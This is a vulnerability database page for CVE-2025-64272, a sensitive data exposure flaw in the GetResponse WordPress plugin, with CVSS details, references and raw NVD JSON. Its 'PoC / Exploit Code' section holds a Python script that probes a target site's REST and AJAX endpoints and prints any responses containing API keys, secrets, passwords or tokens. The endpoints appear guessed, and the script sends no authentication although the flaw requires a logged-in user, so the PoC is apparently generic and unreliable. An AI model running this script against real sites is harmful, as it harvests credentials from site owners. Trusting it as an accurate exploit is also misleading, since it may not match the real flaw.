CVE-2025-64272

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in GetResponse Email marketing for WordPress by GetResponse Official getresponse-official allows Retrieve Embedded Sensitive Data.This issue affects Email marketing for WordPress by GetResponse Official: from n/a through <= 1.5.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GetResponse Email marketing for WordPress plugin <= 1.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import re

# CVE-2025-64272 PoC - GetResponse WordPress Plugin Sensitive Data Exposure
# Target: WordPress site with GetResponse plugin <= 1.5.3

target_url = "http://target-wordpress-site.com"

def check_vulnerability(url):
    """Check if target is vulnerable to CVE-2025-64272"""
    
    # Try to access potentially vulnerable endpoints
    endpoints = [
        f"{url}/wp-json/getresponse/v1/config",
        f"{url}/wp-admin/admin-ajax.php?action=getresponse_fetch_data",
        f"{url}/wp-json/wp/v2/settings",
    ]
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Content-Type": "application/json"
    }
    
    print(f"[*] Testing CVE-2025-64272 on {url}")
    
    for endpoint in endpoints:
        try:
            response = requests.get(endpoint, headers=headers, timeout=10)
            
            # Check for sensitive data exposure
            if response.status_code == 200:
                # Look for API keys, credentials, or sensitive config
                sensitive_patterns = [
                    r"api[_-]?key",
                    r"secret",
                    r"password",
                    r"token",
                    r"getresponse.*key"
                ]
                
                content = response.text.lower()
                for pattern in sensitive_patterns:
                    if re.search(pattern, content, re.IGNORECASE):
                        print(f"[!] Potential sensitive data found at: {endpoint}")
                        print(f"[!] Response preview: {response.text[:500]}")
                        return True
                        
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    print("[*] No obvious vulnerability detected")
    return False

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        check_vulnerability(sys.argv[1])
    else:
        print("Usage: python cve-2025-64272-poc.py <target-url>")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64272
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64272
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64272/
[4] VulDB https://vuldb.com/cve/CVE-2025-64272
[5] https://patchstack.com/database/Wordpress/Plugin/getresponse-official/vulnerability/wordpress-email-marketing-for-wordpress-by-getresponse-official-plugin-1-5-3-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64272", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:13.617", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in GetResponse Email marketing for WordPress by GetResponse Official getresponse-official allows Retrieve Embedded Sensitive Data.This issue affects Email marketing for WordPress by GetResponse Official: from n/a through <= 1.5.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/getresponse-official/vulnerability/wordpress-email-marketing-for-wordpress-by-getresponse-official-plugin-1-5-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}